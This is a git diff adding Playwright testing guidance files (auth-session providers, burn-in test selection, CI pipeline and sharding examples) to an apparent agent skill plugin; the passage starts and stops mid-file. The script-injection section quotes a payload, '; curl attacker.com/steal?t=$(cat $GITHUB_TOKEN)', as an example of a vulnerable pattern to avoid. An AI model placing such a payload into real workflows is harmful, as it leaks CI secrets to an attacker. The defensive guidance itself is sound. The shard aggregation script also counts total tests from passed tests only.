+        'X-API-Key': SERVICE_API_KEY,
+        'X-Request-ID': `test-${Date.now()}`,
+      },
+      body: { sources: ['users', 'orders', 'inventory'] },
+    });
+
+    expect(status).toBe(200);
+    expect(body.aggregatedFrom).toHaveLength(3);
+  });
+});
+```
+
+**Key Points**:
+
+- Environment variables validated at module load with clear errors
+- API key authentication (simpler than OAuth - no disk persistence needed)
+- Test internal/service endpoints
+- Validate auth rejection scenarios
+- Correlation ID for request tracing
+
+> **Note**: API keys are typically static secrets that don't expire, so disk persistence (auth-session) isn't needed. For rotating service tokens, use the auth-session provider pattern from Example 6.
+
+## Custom Auth Provider Pattern
+
+**Context**: Adapt auth-session to your authentication system (OAuth2, JWT, SAML, custom).
+
+**Minimal provider structure**:
+
+```typescript
+import { type AuthProvider } from '@seontechnologies/playwright-utils/auth-session';
+
+const myCustomProvider: AuthProvider = {
+  getEnvironment: (options) => options.environment || 'local',
+
+  getUserIdentifier: (options) => options.userIdentifier || 'default-user',
+
+  extractToken: (storageState) => {
+    // Extract token from your storage format
+    return storageState.cookies.find((c) => c.name === 'auth_token')?.value;
+  },
+
+  extractCookies: (tokenData) => {
+    // Convert token to cookies for browser context
+    return [
+      {
+        name: 'auth_token',
+        value: tokenData,
+        domain: 'example.com',
+        path: '/',
+        httpOnly: true,
+        secure: true,
+      },
+    ];
+  },
+
+  isTokenExpired: (storageState) => {
+    // Check if token is expired
+    const expiresAt = storageState.cookies.find((c) => c.name === 'expires_at');
+    return Date.now() > parseInt(expiresAt?.value || '0');
+  },
+
+  manageAuthToken: async (request, options) => {
+    // Main token acquisition logic
+    // Return storage state with cookies/localStorage
+  },
+};
+
+export default myCustomProvider;
+```
+
+## Integration with API Request
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/fixtures';
+
+test('authenticated API call', async ({ apiRequest, authToken }) => {
+  const { status, body } = await apiRequest({
+    method: 'GET',
+    path: '/api/protected',
+    headers: { Authorization: `Bearer ${authToken}` },
+  });
+
+  expect(status).toBe(200);
+});
+```
+
+## Related Fragments
+
+- `api-testing-patterns.md` - Pure API testing patterns (no browser)
+- `overview.md` - Installation and fixture composition
+- `api-request.md` - Authenticated API requests
+- `fixtures-composition.md` - Merging auth with other utilities
+
+## Anti-Patterns
+
+**❌ Calling setAuthProvider after globalSetup:**
+
+```typescript
+async function globalSetup() {
+  configureAuthSession(...)
+  await authGlobalInit()  // Provider not set yet!
+  setAuthProvider(provider)  // Too late
+}
+```
+
+**✅ Register provider before init:**
+
+```typescript
+async function globalSetup() {
+  authStorageInit()
+  configureAuthSession(...)
+  setAuthProvider(provider)  // First
+  await authGlobalInit()     // Then init
+}
+```
+
+**❌ Hardcoding storage paths:**
+
+```typescript
+const storageState = './auth-sessions/local/user1/storage-state.json'; // Brittle
+```
+
+**✅ Use helper functions:**
+
+```typescript
+import { getTokenFilePath } from '@seontechnologies/playwright-utils/auth-session';
+
+const tokenPath = getTokenFilePath({
+  environment: 'local',
+  userIdentifier: 'user1',
+  tokenFileName: 'storage-state.json',
+});
+```
diff --git a/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/burn-in.md b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/burn-in.md
new file mode 100644
index 0000000..d8b9f9e
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/burn-in.md
@@ -0,0 +1,273 @@
+# Burn-in Test Runner
+
+## Principle
+
+Use smart test selection with git diff analysis to run only affected tests. Filter out irrelevant changes (configs, types, docs) and control test volume with percentage-based execution. Reduce unnecessary CI runs while maintaining reliability.
+
+## Rationale
+
+Playwright's `--only-changed` triggers all affected tests:
+
+- Config file changes trigger hundreds of tests
+- Type definition changes cause full suite runs
+- No volume control (all or nothing)
+- Slow CI pipelines
+
+The `burn-in` utility provides:
+
+- **Smart filtering**: Skip patterns for irrelevant files (configs, types, docs)
+- **Volume control**: Run percentage of affected tests after filtering
+- **Custom dependency analysis**: More accurate than Playwright's built-in
+- **CI optimization**: Faster pipelines without sacrificing confidence
+- **Process of elimination**: Start with all → filter irrelevant → control volume
+
+## Pattern Examples
+
+### Example 1: Basic Burn-in Setup
+
+**Context**: Run burn-in on changed files compared to main branch.
+
+**Implementation**:
+
+```typescript
+// Step 1: Create burn-in script
+// playwright/scripts/burn-in-changed.ts
+import { runBurnIn } from '@seontechnologies/playwright-utils/burn-in'
+
+async function main() {
+  await runBurnIn({
+    configPath: 'playwright/config/.burn-in.config.ts',
+    baseBranch: 'main'
+  })
+}
+
+main().catch(console.error)
+
+// Step 2: Create config
+// playwright/config/.burn-in.config.ts
+import type { BurnInConfig } from '@seontechnologies/playwright-utils/burn-in'
+
+const config: BurnInConfig = {
+  // Files that never trigger tests (first filter)
+  skipBurnInPatterns: [
+    '**/config/**',
+    '**/*constants*',
+    '**/*types*',
+    '**/*.md',
+    '**/README*'
+  ],
+
+  // Run 30% of remaining tests after skip filter
+  burnInTestPercentage: 0.3,
+
+  // Burn-in repetition
+  burnIn: {
+    repeatEach: 3,  // Run each test 3 times
+    retries: 1      // Allow 1 retry
+  }
+}
+
+export default config
+
+// Step 3: Add package.json script
+{
+  "scripts": {
+    "test:pw:burn-in-changed": "tsx playwright/scripts/burn-in-changed.ts"
+  }
+}
+```
+
+**Key Points**:
+
+- Two-stage filtering: skip patterns, then volume control
+- `skipBurnInPatterns` eliminates irrelevant files
+- `burnInTestPercentage` controls test volume (0.3 = 30%)
+- Custom dependency analysis finds actually affected tests
+
+### Example 2: CI Integration
+
+**Context**: Use burn-in in GitHub Actions for efficient CI runs.
+
+**Implementation**:
+
+```yaml
+# .github/workflows/burn-in.yml
+name: Burn-in Changed Tests
+
+on:
+  pull_request:
+    branches: [main]
+
+jobs:
+  burn-in:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+        with:
+          fetch-depth: 0 # Need git history
+
+      - name: Setup Node
+        uses: actions/setup-node@v4
+
+      - name: Install dependencies
+        run: npm ci
+
+      - name: Run burn-in on changed tests
+        run: npm run test:pw:burn-in-changed -- --base-branch=origin/main
+
+      - name: Upload artifacts
+        if: failure()
+        uses: actions/upload-artifact@v4
+        with:
+          name: burn-in-failures
+          path: test-results/
+```
+
+**Key Points**:
+
+- `fetch-depth: 0` for full git history
+- Pass `--base-branch=origin/main` for PR comparison
+- Upload artifacts only on failure
+- Significantly faster than full suite
+
+### Example 3: How It Works (Process of Elimination)
+
+**Context**: Understanding the filtering pipeline.
+
+**Scenario:**
+
+```
+Git diff finds: 21 changed files
+├─ Step 1: Skip patterns filter
+│  Removed: 6 files (*.md, config/*, *types*)
+│  Remaining: 15 files
+│
+├─ Step 2: Dependency analysis
+│  Tests that import these 15 files: 45 tests
+│
+└─ Step 3: Volume control (30%)
+   Final tests to run: 14 tests (30% of 45)
+
+Result: Run 14 targeted tests instead of 147 with --only-changed!
+```
+
+**Key Points**:
+
+- Three-stage pipeline: skip → analyze → control
+- Custom dependency analysis (not just imports)
+- Percentage applies AFTER filtering
+- Dramatically reduces CI time
+
+### Example 4: Environment-Specific Configuration
+
+**Context**: Different settings for local vs CI environments.
+
+**Implementation**:
+
+```typescript
+import type { BurnInConfig } from '@seontechnologies/playwright-utils/burn-in';
+
+const config: BurnInConfig = {
+  skipBurnInPatterns: ['**/config/**', '**/*types*', '**/*.md'],
+
+  // CI runs fewer iterations, local runs more
+  burnInTestPercentage: process.env.CI ? 0.2 : 0.3,
+
+  burnIn: {
+    repeatEach: process.env.CI ? 2 : 3,
+    retries: process.env.CI ? 0 : 1, // No retries in CI
+  },
+};
+
+export default config;
+```
+
+**Key Points**:
+
+- `process.env.CI` for environment detection
+- Lower percentage in CI (20% vs 30%)
+- Fewer iterations in CI (2 vs 3)
+- No retries in CI (fail fast)
+
+### Example 5: Sharding Support
+
+**Context**: Distribute burn-in tests across multiple CI workers.
+
+**Implementation**:
+
+```typescript
+// burn-in-changed.ts with sharding
+import { runBurnIn } from '@seontechnologies/playwright-utils/burn-in';
+
+async function main() {
+  const shardArg = process.argv.find((arg) => arg.startsWith('--shard='));
+
+  if (shardArg) {
+    process.env.PW_SHARD = shardArg.split('=')[1];
+  }
+
+  await runBurnIn({
+    configPath: 'playwright/config/.burn-in.config.ts',
+  });
+}
+```
+
+```yaml
+# GitHub Actions with sharding
+jobs:
+  burn-in:
+    strategy:
+      matrix:
+        shard: [1/3, 2/3, 3/3]
+    steps:
+      - run: npm run test:pw:burn-in-changed -- --shard=${{ matrix.shard }}
+```
+
+**Key Points**:
+
+- Pass `--shard=1/3` for parallel execution
+- Burn-in respects Playwright sharding
+- Distribute across multiple workers
+- Reduces total CI time further
+
+## Integration with CI Workflow
+
+When setting up CI with `*ci` workflow, recommend burn-in for:
+
+- Pull request validation
+- Pre-merge checks
+- Nightly builds (subset runs)
+
+## Related Fragments
+
+- `ci-burn-in.md` - Traditional burn-in patterns (10-iteration loops)
+- `selective-testing.md` - Test selection strategies
+- `overview.md` - Installation
+
+## Anti-Patterns
+
+**❌ Over-aggressive skip patterns:**
+
+```typescript
+skipBurnInPatterns: [
+  '**/*', // Skips everything!
+];
+```
+
+**✅ Targeted skip patterns:**
+
+```typescript
+skipBurnInPatterns: ['**/config/**', '**/*types*', '**/*.md', '**/*constants*'];
+```
+
+**❌ Too low percentage (false confidence):**
+
+```typescript
+burnInTestPercentage: 0.05; // Only 5% - might miss issues
+```
+
+**✅ Balanced percentage:**
+
+```typescript
+burnInTestPercentage: 0.2; // 20% in CI, provides good coverage
+```
diff --git a/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/ci-burn-in.md b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/ci-burn-in.md
new file mode 100644
index 0000000..a092987
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/ci-burn-in.md
@@ -0,0 +1,717 @@
+# CI Pipeline and Burn-In Strategy
+
+## Principle
+
+CI pipelines must execute tests reliably, quickly, and provide clear feedback. Burn-in testing (running changed tests multiple times) flushes out flakiness before merge. Stage jobs strategically: install/cache once, run changed specs first for fast feedback, then shard full suites with fail-fast disabled to preserve evidence.
+
+## Rationale
+
+CI is the quality gate for production. A poorly configured pipeline either wastes developer time (slow feedback, false positives) or ships broken code (false negatives, insufficient coverage). Burn-in testing ensures reliability by stress-testing changed code, while parallel execution and intelligent test selection optimize speed without sacrificing thoroughness.
+
+## Security: Script Injection Prevention
+
+**Rule:** NEVER use `${{ inputs.* }}` or user-controlled GitHub context directly in `run:` blocks. Always pass through `env:` and reference as `"$ENV_VAR"` (double-quoted).
+
+When CI templates are extended into reusable workflows (`on: workflow_call`), manual dispatch workflows (`on: workflow_dispatch`), or composite actions, `${{ inputs.* }}` values become user-controllable. Interpolating them directly in `run:` blocks enables shell command injection.
+
+### Vulnerable vs Safe Pattern
+
+```yaml
+# ❌ VULNERABLE — inputs.test_ids could contain: "; curl attacker.com/steal?t=$(cat $GITHUB_TOKEN)"
+- name: Run tests
+  run: |
+    npx playwright test --grep "${{ inputs.test_ids }}"
+
+# ✅ SAFE — env var cannot break out of shell quoting
+- name: Run tests
+  env:
+    TEST_IDS: ${{ inputs.test_ids }}
+  run: |
+    npx playwright test --grep "$TEST_IDS"
+```
+
+### Unsafe Contexts (require env: intermediary)
+
+- `${{ inputs.* }}` — workflow_call and workflow_dispatch inputs
+- `${{ github.event.* }}` — treat the entire event namespace as unsafe (PR titles, issue bodies, comment bodies, label names, etc.)
+- `${{ github.head_ref }}` — PR source branch name (user-controlled)
+
+**Important:** Passing through `env:` prevents GitHub expression injection, but inputs must still be treated as DATA, not COMMANDS. Never execute an input-derived env var as a shell command (e.g., `run: $CMD` where CMD came from an input). Use fixed commands and pass inputs only as quoted arguments.
+
+### Safe Contexts (safe from GitHub expression injection in run: blocks)
+
+- `${{ steps.*.outputs.* }}` — pre-computed by your own code
+- `${{ matrix.* }}` — defined in workflow YAML
+- `${{ runner.os }}`, `${{ github.sha }}`, `${{ github.ref }}` — system-controlled
+- `${{ secrets.* }}` — secret store, not user-injectable
+- `${{ env.* }}` — already an env var
+
+> **Note:** "Safe from expression injection" means these values cannot be manipulated by external actors to break out of `${{ }}` interpolation. Standard shell quoting practices still apply — always double-quote variable references in `run:` blocks.
+
+---
+
+## Pattern Examples
+
+### Example 1: GitHub Actions Workflow with Parallel Execution
+
+**Context**: Production-ready CI/CD pipeline for E2E tests with caching, parallelization, and burn-in testing.
+
+**Implementation**:
+
+```yaml
+# .github/workflows/e2e-tests.yml
+name: E2E Tests
+on:
+  pull_request:
+  push:
+    branches: [main, develop]
+
+env:
+  NODE_VERSION_FILE: '.nvmrc'
+  CACHE_KEY: ${{ runner.os }}-node-${{ hashFiles('**/package-lock.json') }}
+
+jobs:
+  install-dependencies:
+    name: Install & Cache Dependencies
+    runs-on: ubuntu-latest
+    timeout-minutes: 10
+    steps:
+      - name: Checkout code
+        uses: actions/checkout@v4
+
+      - name: Setup Node.js
+        uses: actions/setup-node@v4
+        with:
+          node-version-file: ${{ env.NODE_VERSION_FILE }}
+          cache: 'npm'
+
+      - name: Cache node modules
+        uses: actions/cache@v4
+        id: npm-cache
+        with:
+          path: |
+            ~/.npm
+            node_modules
+            ~/.cache/Cypress
+            ~/.cache/ms-playwright
+          key: ${{ env.CACHE_KEY }}
+          restore-keys: |
+            ${{ runner.os }}-node-
+
+      - name: Install dependencies
+        if: steps.npm-cache.outputs.cache-hit != 'true'
+        run: npm ci --prefer-offline --no-audit
+
+      - name: Install Playwright browsers
+        if: steps.npm-cache.outputs.cache-hit != 'true'
+        run: npx playwright install --with-deps chromium
+
+  test-changed-specs:
+    name: Test Changed Specs First (Burn-In)
+    needs: install-dependencies
+    runs-on: ubuntu-latest
+    timeout-minutes: 15
+    steps:
+      - name: Checkout code
+        uses: actions/checkout@v4
+        with:
+          fetch-depth: 0 # Full history for accurate diff
+
+      - name: Setup Node.js
+        uses: actions/setup-node@v4
+        with:
+          node-version-file: ${{ env.NODE_VERSION_FILE }}
+          cache: 'npm'
+
+      - name: Restore dependencies
+        uses: actions/cache@v4
+        with:
+          path: |
+            ~/.npm
+            node_modules
+            ~/.cache/ms-playwright
+          key: ${{ env.CACHE_KEY }}
+
+      - name: Detect changed test files
+        id: changed-tests
+        run: |
+          CHANGED_SPECS=$(git diff --name-only origin/main...HEAD | grep -E '\.(spec|test)\.(ts|js|tsx|jsx)$' || echo "")
+          echo "changed_specs=${CHANGED_SPECS}" >> $GITHUB_OUTPUT
+          echo "Changed specs: ${CHANGED_SPECS}"
+
+      - name: Run burn-in on changed specs (10 iterations)
+        if: steps.changed-tests.outputs.changed_specs != ''
+        run: |
+          SPECS="${{ steps.changed-tests.outputs.changed_specs }}"
+          echo "Running burn-in: 10 iterations on changed specs"
+          for i in {1..10}; do
+            echo "Burn-in iteration $i/10"
+            npm run test -- $SPECS || {
+              echo "❌ Burn-in failed on iteration $i"
+              exit 1
+            }
+          done
+          echo "✅ Burn-in passed - 10/10 successful runs"
+
+      - name: Upload artifacts on failure
+        if: failure()
+        uses: actions/upload-artifact@v4
+        with:
+          name: burn-in-failure-artifacts
+          path: |
+            test-results/
+            playwright-report/
+            screenshots/
+          retention-days: 7
+
+  test-e2e-sharded:
+    name: E2E Tests (Shard ${{ matrix.shard }}/${{ strategy.job-total }})
+    needs: [install-dependencies, test-changed-specs]
+    runs-on: ubuntu-latest
+    timeout-minutes: 30
+    strategy:
+      fail-fast: false # Run all shards even if one fails
+      matrix:
+        shard: [1, 2, 3, 4]
+    steps:
+      - name: Checkout code
+        uses: actions/checkout@v4
+
+      - name: Setup Node.js
+        uses: actions/setup-node@v4
+        with:
+          node-version-file: ${{ env.NODE_VERSION_FILE }}
+          cache: 'npm'
+
+      - name: Restore dependencies
+        uses: actions/cache@v4
+        with:
+          path: |
+            ~/.npm
+            node_modules
+            ~/.cache/ms-playwright
+          key: ${{ env.CACHE_KEY }}
+
+      - name: Run E2E tests (shard ${{ matrix.shard }})
+        run: npm run test:e2e -- --shard=${{ matrix.shard }}/4
+        env:
+          TEST_ENV: staging
+          CI: true
+
+      - name: Upload test results
+        if: always()
+        uses: actions/upload-artifact@v4
+        with:
+          name: test-results-shard-${{ matrix.shard }}
+          path: |
+            test-results/
+            playwright-report/
+          retention-days: 30
+
+      - name: Upload JUnit report
+        if: always()
+        uses: actions/upload-artifact@v4
+        with:
+          name: junit-results-shard-${{ matrix.shard }}
+          path: test-results/junit.xml
+          retention-days: 30
+
+  merge-test-results:
+    name: Merge Test Results & Generate Report
+    needs: test-e2e-sharded
+    runs-on: ubuntu-latest
+    if: always()
+    steps:
+      - name: Download all shard results
+        uses: actions/download-artifact@v4
+        with:
+          pattern: test-results-shard-*
+          path: all-results/
+
+      - name: Merge HTML reports
+        run: |
+          npx playwright merge-reports --reporter=html all-results/
+          echo "Merged report available in playwright-report/"
+
+      - name: Upload merged report
+        uses: actions/upload-artifact@v4
+        with:
+          name: merged-playwright-report
+          path: playwright-report/
+          retention-days: 30
+
+      - name: Comment PR with results
+        if: github.event_name == 'pull_request'
+        uses: daun/playwright-report-comment@v3
+        with:
+          report-path: playwright-report/
+```
+
+**Key Points**:
+
+- **Install once, reuse everywhere**: Dependencies cached across all jobs
+- **Burn-in first**: Changed specs run 10x before full suite
+- **Fail-fast disabled**: All shards run to completion for full evidence
+- **Parallel execution**: 4 shards cut execution time by ~75%
+- **Artifact retention**: 30 days for reports, 7 days for failure debugging
+
+---
+
+### Example 2: Burn-In Loop Pattern (Standalone Script)
+
+**Context**: Reusable bash script for burn-in testing changed specs locally or in CI.
+
+**Implementation**:
+
+```bash
+#!/bin/bash
+# scripts/burn-in-changed.sh
+# Usage: ./scripts/burn-in-changed.sh [iterations] [base-branch]
+
+set -e  # Exit on error
+
+# Configuration
+ITERATIONS=${1:-10}
+BASE_BRANCH=${2:-main}
+SPEC_PATTERN='\.(spec|test)\.(ts|js|tsx|jsx)$'
+
+echo "🔥 Burn-In Test Runner"
+echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+echo "Iterations: $ITERATIONS"
+echo "Base branch: $BASE_BRANCH"
+echo ""
+
+# Detect changed test files
+echo "📋 Detecting changed test files..."
+CHANGED_SPECS=$(git diff --name-only $BASE_BRANCH...HEAD | grep -E "$SPEC_PATTERN" || echo "")
+
+if [ -z "$CHANGED_SPECS" ]; then
+  echo "✅ No test files changed. Skipping burn-in."
+  exit 0
+fi
+
+echo "Changed test files:"
+echo "$CHANGED_SPECS" | sed 's/^/  - /'
+echo ""
+
+# Count specs
+SPEC_COUNT=$(echo "$CHANGED_SPECS" | wc -l | xargs)
+echo "Running burn-in on $SPEC_COUNT test file(s)..."
+echo ""
+
+# Burn-in loop
+FAILURES=()
+for i in $(seq 1 $ITERATIONS); do
+  echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+  echo "🔄 Iteration $i/$ITERATIONS"
+  echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+
+  # Run tests with explicit file list
+  if npm run test -- $CHANGED_SPECS 2>&1 | tee "burn-in-log-$i.txt"; then
+    echo "✅ Iteration $i passed"
+  else
+    echo "❌ Iteration $i failed"
+    FAILURES+=($i)
+
+    # Save failure artifacts
+    mkdir -p burn-in-failures/iteration-$i
+    cp -r test-results/ burn-in-failures/iteration-$i/ 2>/dev/null || true
+    cp -r screenshots/ burn-in-failures/iteration-$i/ 2>/dev/null || true
+
+    echo ""
+    echo "🛑 BURN-IN FAILED on iteration $i"
+    echo "Failure artifacts saved to: burn-in-failures/iteration-$i/"
+    echo "Logs saved to: burn-in-log-$i.txt"
+    echo ""
+    exit 1
+  fi
+
+  echo ""
+done
+
+# Success summary
+echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+echo "🎉 BURN-IN PASSED"
+echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+echo "All $ITERATIONS iterations passed for $SPEC_COUNT test file(s)"
+echo "Changed specs are stable and ready to merge."
+echo ""
+
+# Cleanup logs
+rm -f burn-in-log-*.txt
+
+exit 0
+```
+
+**Usage**:
+
+```bash
+# Run locally with default settings (10 iterations, compare to main)
+./scripts/burn-in-changed.sh
+
+# Custom iterations and base branch
+./scripts/burn-in-changed.sh 20 develop
+
+# Add to package.json
+{
+  "scripts": {
+    "test:burn-in": "bash scripts/burn-in-changed.sh",
+    "test:burn-in:strict": "bash scripts/burn-in-changed.sh 20"
+  }
+}
+```
+
+**Key Points**:
+
+- **Exit on first failure**: Flaky tests caught immediately
+- **Failure artifacts**: Saved per-iteration for debugging
+- **Flexible configuration**: Iterations and base branch customizable
+- **CI/local parity**: Same script runs in both environments
+- **Clear output**: Visual feedback on progress and results
+
+---
+
+### Example 3: Shard Orchestration with Result Aggregation
+
+**Context**: Advanced sharding strategy for large test suites with intelligent result merging.
+
+**Implementation**:
+
+```javascript
+// scripts/run-sharded-tests.js
+const { spawn } = require('child_process');
+const fs = require('fs');
+const path = require('path');
+
+/**
+ * Run tests across multiple shards and aggregate results
+ * Usage: node scripts/run-sharded-tests.js --shards=4 --env=staging
+ */
+
+const SHARD_COUNT = parseInt(process.env.SHARD_COUNT || '4');
+const TEST_ENV = process.env.TEST_ENV || 'local';
+const RESULTS_DIR = path.join(__dirname, '../test-results');
+
+console.log(`🚀 Running tests across ${SHARD_COUNT} shards`);
+console.log(`Environment: ${TEST_ENV}`);
+console.log('━'.repeat(50));
+
+// Ensure results directory exists
+if (!fs.existsSync(RESULTS_DIR)) {
+  fs.mkdirSync(RESULTS_DIR, { recursive: true });
+}
+
+/**
+ * Run a single shard
+ */
+function runShard(shardIndex) {
+  return new Promise((resolve, reject) => {
+    const shardId = `${shardIndex}/${SHARD_COUNT}`;
+    console.log(`\n📦 Starting shard ${shardId}...`);
+
+    const child = spawn('npx', ['playwright', 'test', `--shard=${shardId}`, '--reporter=json'], {
+      env: { ...process.env, TEST_ENV, SHARD_INDEX: shardIndex },
+      stdio: 'pipe',
+    });
+
+    let stdout = '';
+    let stderr = '';
+
+    child.stdout.on('data', (data) => {
+      stdout += data.toString();
+      process.stdout.write(data);
+    });
+
+    child.stderr.on('data', (data) => {
+      stderr += data.toString();
+      process.stderr.write(data);
+    });
+
+    child.on('close', (code) => {
+      // Save shard results
+      const resultFile = path.join(RESULTS_DIR, `shard-${shardIndex}.json`);
+      try {
+        const result = JSON.parse(stdout);
+        fs.writeFileSync(resultFile, JSON.stringify(result, null, 2));
+        console.log(`✅ Shard ${shardId} completed (exit code: ${code})`);
+        resolve({ shardIndex, code, result });
+      } catch (error) {
+        console.error(`❌ Shard ${shardId} failed to parse results:`, error.message);
+        reject({ shardIndex, code, error });
+      }
+    });
+
+    child.on('error', (error) => {
+      console.error(`❌ Shard ${shardId} process error:`, error.message);
+      reject({ shardIndex, error });
+    });
+  });
+}
+
+/**
+ * Aggregate results from all shards
+ */
+function aggregateResults() {
+  console.log('\n📊 Aggregating results from all shards...');
+
+  const shardResults = [];
+  let totalTests = 0;
+  let totalPassed = 0;
+  let totalFailed = 0;
+  let totalSkipped = 0;
+  let totalFlaky = 0;
+
+  for (let i = 1; i <= SHARD_COUNT; i++) {
+    const resultFile = path.join(RESULTS_DIR, `shard-${i}.json`);
+    if (fs.existsSync(resultFile)) {
+      const result = JSON.parse(fs.readFileSync(resultFile, 'utf8'));
+      shardResults.push(result);
+
+      // Aggregate stats
+      totalTests += result.stats?.expected || 0;
+      totalPassed += result.stats?.expected || 0;
+      totalFailed += result.stats?.unexpected || 0;
+      totalSkipped += result.stats?.skipped || 0;
+      totalFlaky += result.stats?.flaky || 0;
+    }
+  }
+
+  const summary = {
+    totalShards: SHARD_COUNT,
+    environment: TEST_ENV,
+    totalTests,
+    passed: totalPassed,
+    failed: totalFailed,
+    skipped: totalSkipped,
+    flaky: totalFlaky,
+    duration: shardResults.reduce((acc, r) => acc + (r.duration || 0), 0),
+    timestamp: new Date().toISOString(),
+  };
+
+  // Save aggregated summary
+  fs.writeFileSync(path.join(RESULTS_DIR, 'summary.json'), JSON.stringify(summary, null, 2));
+
+  console.log('\n━'.repeat(50));
+  console.log('📈 Test Results Summary');
+  console.log('━'.repeat(50));
+  console.log(`Total tests:    ${totalTests}`);
+  console.log(`✅ Passed:      ${totalPassed}`);
+  console.log(`❌ Failed:      ${totalFailed}`);
+  console.log(`⏭️  Skipped:     ${totalSkipped}`);
+  console.log(`⚠️  Flaky:       ${totalFlaky}`);
+  console.log(`⏱️  Duration:    ${(summary.duration / 1000).toFixed(2)}s`);
+  console.log('━'.repeat(50));
+
+  return summary;
+}
+
+/**
+ * Main execution
+ */
+async function main() {
+  const startTime = Date.now();
+  const shardPromises = [];
+
+  // Run all shards in parallel
+  for (let i = 1; i <= SHARD_COUNT; i++) {
+    shardPromises.push(runShard(i));
+  }
+
+  try {
+    await Promise.allSettled(shardPromises);
+  } catch (error) {
+    console.error('❌ One or more shards failed:', error);
+  }
+
+  // Aggregate results
+  const summary = aggregateResults();
+
+  const totalTime = ((Date.now() - startTime) / 1000).toFixed(2);
+  console.log(`\n⏱️  Total execution time: ${totalTime}s`);
+
+  // Exit with failure if any tests failed
+  if (summary.failed > 0) {
+    console.error('\n❌ Test suite failed');
+    process.exit(1);
+  }
+
+  console.log('\n✅ All tests passed');
+  process.exit(0);
+}
+
+main().catch((error) => {
+  console.error('Fatal error:', error);
+  process.exit(1);
+});
+```
+
+**package.json integration**:
+
+```json
+{
+  "scripts": {
+    "test:sharded": "node scripts/run-sharded-tests.js",
+    "test:sharded:ci": "SHARD_COUNT=8 TEST_ENV=staging node scripts/run-sharded-tests.js"
+  }
+}
+```
+
+**Key Points**:
+
+- **Parallel shard execution**: All shards run simultaneously
+- **Result aggregation**: Unified summary across shards
+- **Failure detection**: Exit code reflects overall test status
+- **Artifact preservation**: Individual shard results saved for debugging
+- **CI/local compatibility**: Same script works in both environments
+
+---
+
+### Example 4: Selective Test Execution (Changed Files + Tags)
+
+**Context**: Optimize CI by running only relevant tests based on file changes and tags.
+
+**Implementation**:
+
+```bash
+#!/bin/bash
+# scripts/selective-test-runner.sh
+# Intelligent test selection based on changed files and test tags
+
+set -e
+
+BASE_BRANCH=${BASE_BRANCH:-main}
+TEST_ENV=${TEST_ENV:-local}
+
+echo "🎯 Selective Test Runner"
+echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+echo "Base branch: $BASE_BRANCH"
+echo "Environment: $TEST_ENV"
+echo ""
+
+# Detect changed files (all types, not just tests)
+CHANGED_FILES=$(git diff --name-only $BASE_BRANCH...HEAD)
+
+if [ -z "$CHANGED_FILES" ]; then
+  echo "✅ No files changed. Skipping tests."
+  exit 0
+fi
+
+echo "Changed files:"
+echo "$CHANGED_FILES" | sed 's/^/  - /'
+echo ""
+
+# Determine test strategy based on changes
+run_smoke_only=false
+run_all_tests=false
+affected_specs=""
+
+# Critical files = run all tests
+if echo "$CHANGED_FILES" | grep -qE '(package\.json|package-lock\.json|playwright\.config|cypress\.config|\.github/workflows)'; then
+  echo "⚠️  Critical configuration files changed. Running ALL tests."
+  run_all_tests=true
+
+# Auth/security changes = run all auth + smoke tests
+elif echo "$CHANGED_FILES" | grep -qE '(auth|login|signup|security)'; then
+  echo "🔒 Auth/security files changed. Running auth + smoke tests."
+  npm run test -- --grep "@auth|@smoke"
+  exit $?
+
+# API changes = run integration + smoke tests
+elif echo "$CHANGED_FILES" | grep -qE '(api|service|controller)'; then
+  echo "🔌 API files changed. Running integration + smoke tests."
+  npm run test -- --grep "@integration|@smoke"
+  exit $?
+
+# UI component changes = run related component tests
+elif echo "$CHANGED_FILES" | grep -qE '\.(tsx|jsx|vue)$'; then
+  echo "🎨 UI components changed. Running component + smoke tests."
+
+  # Extract component names and find related tests
+  components=$(echo "$CHANGED_FILES" | grep -E '\.(tsx|jsx|vue)$' | xargs -I {} basename {} | sed 's/\.[^.]*$//')
+  for component in $components; do
+    # Find tests matching component name
+    affected_specs+=$(find tests -name "*${component}*" -type f) || true
+  done
+
+  if [ -n "$affected_specs" ]; then
+    echo "Running tests for: $affected_specs"
+    npm run test -- $affected_specs --grep "@smoke"
+  else
+    echo "No specific tests found. Running smoke tests only."
+    npm run test -- --grep "@smoke"
+  fi
+  exit $?
+
+# Documentation/config only = run smoke tests
+elif echo "$CHANGED_FILES" | grep -qE '\.(md|txt|json|yml|yaml)$'; then
+  echo "📝 Documentation/config files changed. Running smoke tests only."
+  run_smoke_only=true
+else
+  echo "⚙️  Other files changed. Running smoke tests."
+  run_smoke_only=true
+fi
+
+# Execute selected strategy
+if [ "$run_all_tests" = true ]; then
+  echo ""
+  echo "Running full test suite..."
+  npm run test
+elif [ "$run_smoke_only" = true ]; then
+  echo ""
+  echo "Running smoke tests..."
+  npm run test -- --grep "@smoke"
+fi
+```
+
+**Usage in GitHub Actions**:
+
+```yaml
+# .github/workflows/selective-tests.yml
+name: Selective Tests
+on: pull_request
+
+jobs:
+  selective-tests:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+        with:
+          fetch-depth: 0
+
+      - name: Run selective tests
+        run: bash scripts/selective-test-runner.sh
+        env:
+          BASE_BRANCH: ${{ github.base_ref }}
+          TEST_ENV: staging
+```
+
+**Key Points**:
+
+- **Intelligent routing**: Tests selected based on changed file types
+- **Tag-based filtering**: Use @smoke, @auth, @integration tags
+- **Fast feedback**: Only relevant tests run on most PRs
+- **Safety net**: Critical changes trigger full suite
+- **Component mapping**: UI changes run related component tests
+
+---
+
+## CI Configuration Checklist
+
+Before deploying your CI pipeline, verify:
+
